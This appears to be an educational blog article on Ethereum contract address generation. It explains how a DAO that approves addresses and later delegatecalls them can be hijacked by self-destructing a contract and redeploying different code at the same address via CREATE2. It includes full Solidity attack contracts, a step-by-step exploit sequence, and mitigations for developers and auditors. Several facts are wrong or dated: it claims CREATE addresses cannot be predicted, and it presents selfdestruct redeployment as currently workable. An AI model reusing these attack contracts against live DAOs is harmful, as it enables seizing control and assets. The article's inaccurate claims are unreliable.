In the Ethereum ecosystem, the deterministic generation of contract addresses offers significant advantages for developers. However, this same mechanism can also introduce potential attack vectors if not properly understood and managed. This article explores the technical principles behind deploying different contracts to the same address using the CREATE and CREATE2 opcodes, examines a real-world vulnerability pattern, and provides actionable mitigation strategies for developers and auditors.
Background Overview
Ethereum provides two primary opcodes for deploying smart contracts: CREATE and CREATE2. Each has distinct behaviors regarding how contract addresses are generated. While these features enable useful applications like counterfactual deployments and state channels, they also open up possibilities for exploitation if contracts are not designed with these nuances in mind.
Understanding Address Generation Mechanisms
The CREATE Opcode
CREATE is the original opcode used by the Ethereum Virtual Machine (EVM) for dynamic smart contract deployment. Since Ethereum's genesis block, all contract deployments have relied on this mechanism.
The key characteristic of CREATE is that address generation depends on the deployer account's nonce, making addresses non-deterministic (impossible to precisely predict before deployment).
The formula for CREATE-generated contract addresses is:
contract address = last 20 bytes of keccak256(RLP(sender, nonce))The CREATE2 Opcode
CREATE2 was introduced in the Constantinople hard fork (February 2019) through EIP-1014. Unlike CREATE, this opcode allows off-chain participants to precompute contract addresses before deployment, enabling advanced applications like state channels and complex contract architectures.
The CREATE2 address generation formula uses four parameters:
contract address = last 20 bytes of keccak256(0xff || sender || salt || keccak256(init_code))Address Collision Scenarios
A natural question arises: what happens if a calculated contract address already exists on-chain? Ethereum's EVM handles this scenario with specific rules:
Target Address is an External Account (EOA)
If the target address is an existing EOA (such as a user wallet address), the EVM will reject the contract deployment request. The transaction fails, gas is consumed, no contract is created, and no data at that address is overwritten.
Target Address is a Contract Account
If the target address already contains a deployed contract, the EVM similarly rejects the deployment request. The transaction fails, gas is consumed, and the existing contract's code and storage remain unchanged.
There is one exception to these rules: if a target address previously contained a contract that has been self-destructed, it becomes possible to deploy a new contract to that same address.
Vulnerability Example
Consider this simplified DAO contract implementing a basic governance mechanism:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract DAO {
struct Proposal {
address target;
bool approved;
bool executed;
}
address public owner = msg.sender;
Proposal[] public proposals;
function approve(address target) external {
require(msg.sender == owner, "not authorized");
proposals.push(Proposal({target: target, approved: true, executed: false}));
}
function execute(uint256 proposalId) external payable {
Proposal storage proposal = proposals[proposalId];
require(proposal.approved, "not approved");
require(!proposal.executed, "executed");
proposal.executed = true;
(bool ok, ) = proposal.target.delegatecall(
abi.encodeWithSignature("executeProposal()")
);
require(ok, "delegatecall failed");
}
}Vulnerability Analysis
This DAO contract appears to have proper permission controls (only the owner can approve proposals) and execution checks (proposals must be approved and not yet executed). However, it contains a subtle logical flaw: an approved proposal address might point to completely different contract code when executed versus when approved.
An attacker can exploit this vulnerability in three steps:
- Deploy a legitimate contract and obtain approval - The attacker first deploys Contract A with a harmless executeProposal() function and gets the owner to approve its address.
- Self-destruct the original contract and reclaim the address - The attacker calls selfdestruct on Contract A, then uses CREATE2 to deploy malicious Contract B to the same address.
- Trigger execution and hijack control - When users call execute(), the contract performs a delegatecall to the newly deployed malicious Contract B code, which can modify the DAO's state (such as changing the owner) or transfer assets.
Attack Contract Implementation
The complete attack involves several coordinating contracts:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract Proposal {
event Log(string message);
function executeProposal() external {
emit Log("Executed code approved by DAO");
}
function emergencyStop() external {
selfdestruct(payable(address(0)));
}
}
contract Attack {
event Log(string message);
address public owner;
function executeProposal() external {
emit Log("Executed code not approved by DAO :)");
owner = msg.sender; // Hijack control
}
}
contract DeployerDeployer {
event Log(address addr);
function deploy() external {
bytes32 salt = keccak256(abi.encode(uint256(123)));
address addr = address(new Deployer{salt: salt}());
emit Log(addr);
}
}
contract Deployer {
event Log(address addr);
function deployProposal() external {
address addr = address(new Proposal());
emit Log(addr);
}
function deployAttack() external {
address addr = address(new Attack());
emit Log(addr);
}
function kill() external {
selfdestruct(payable(address(0)));
}
}Step-by-Step Attack Process
- The DAO contract is deployed by Alice
- The attacker deploys the DeployerDeployer contract (address DD)
- The attacker calls DD.deploy(), which uses CREATE2 to deploy Deployer to address D (using a fixed salt)
- The attacker calls D.deployProposal(), creating Proposal contract at address P (Deployer's nonce is 0)
- Alice approves address P in the DAO contract
- The attacker calls D.kill(), destroying the Deployer contract and resetting its nonce to 0
- The attacker again calls DD.deploy(), redeploying Deployer to the same address D (same CREATE2 parameters)
- The attacker calls D.deployAttack(), which creates an Attack contract at address P (same as Proposal, since Deployer's nonce was reset to 0)
- The DAO's proposals array still points to address P, but it now contains the Attack contract, enabling the attacker to hijack control when execute() is called
The attack leverages CREATE2's ability to redeploy contracts to the same address combined with nonce resetting through selfdestruct, ultimately deploying malicious code to an address that was previously approved for a legitimate contract.
👉 Explore advanced security strategies
Mitigation Strategies
For Developers
- Store code hashes alongside addresses - When approving proposals, record not just the address but also the hash of its code. Verify that this hash remains unchanged before execution.
- Limit delegatecall usage - Avoid using delegatecall to external contracts unless absolutely necessary, and implement robust security measures when you must.
- Account for selfdestruct scenarios - Assume that any external contract might be self-destructed and redeployed with different code. Verify contract trustworthiness before interaction.
- Implement reentrancy guards - Add protection against reentrancy attacks, especially when making external calls.
For Auditors
- Identify selfdestruct capabilities - Flag any external contracts that contain selfdestruct functionality, as they create redeployment risks.
- Verify CREATE2 usage - Ensure that contracts using CREATE2 employ sufficiently random salt values to prevent address prediction and preemption attacks.
- Check code consistency validation - Confirm that DAO-like systems verify target address code consistency between approval and execution phases.
- Analyze delegatecall usage - Carefully review all delegatecall implementations to ensure target addresses are trustworthy and not arbitrarily callable.
- Review proposal lifecycle management - Verify that approved proposals cannot be modified or replaced, such as by locking target address states after approval.
Frequently Asked Questions
What is the fundamental difference between CREATE and CREATE2?
CREATE generates addresses based on the sender's address and nonce, making addresses unpredictable before deployment. CREATE2 uses the sender's address, a salt value, and initialization code hash, enabling deterministic address calculation before deployment.
Can any contract be redeployed to the same address?
Only if the original contract has been self-destructed. Ethereum prevents overwriting existing contracts or EOAs. The selfdestruct operation clears an address, making it available for new deployments.
How can developers prevent address manipulation attacks?
The most effective approach is to store and verify code hashes when recording contract addresses. Before interacting with a stored address, verify that its current code hash matches the expected hash from when it was approved.
Are CREATE2 addresses inherently less secure than CREATE addresses?
No, both mechanisms have appropriate use cases. CREATE2's deterministic nature enables valuable patterns like counterfactual deployments and state channels. Security issues arise when developers don't account for the possibility of redeployment to the same address.
What should I do if my project interacts with external contracts?
Implement robust verification mechanisms, consider using intermediate proxy contracts for critical interactions, and always assume external contracts might change or be replaced with malicious code.
How can salt values improve CREATE2 security?
Using unpredictable, randomly generated salt values prevents attackers from precomputing and preempting contract addresses. Avoid using easily guessable salt values like sequential numbers or predictable hashes.
Understanding the nuances of contract address generation is crucial for developing secure smart contracts. By implementing proper verification mechanisms and accounting for potential address manipulation, developers can build more robust and secure decentralized applications.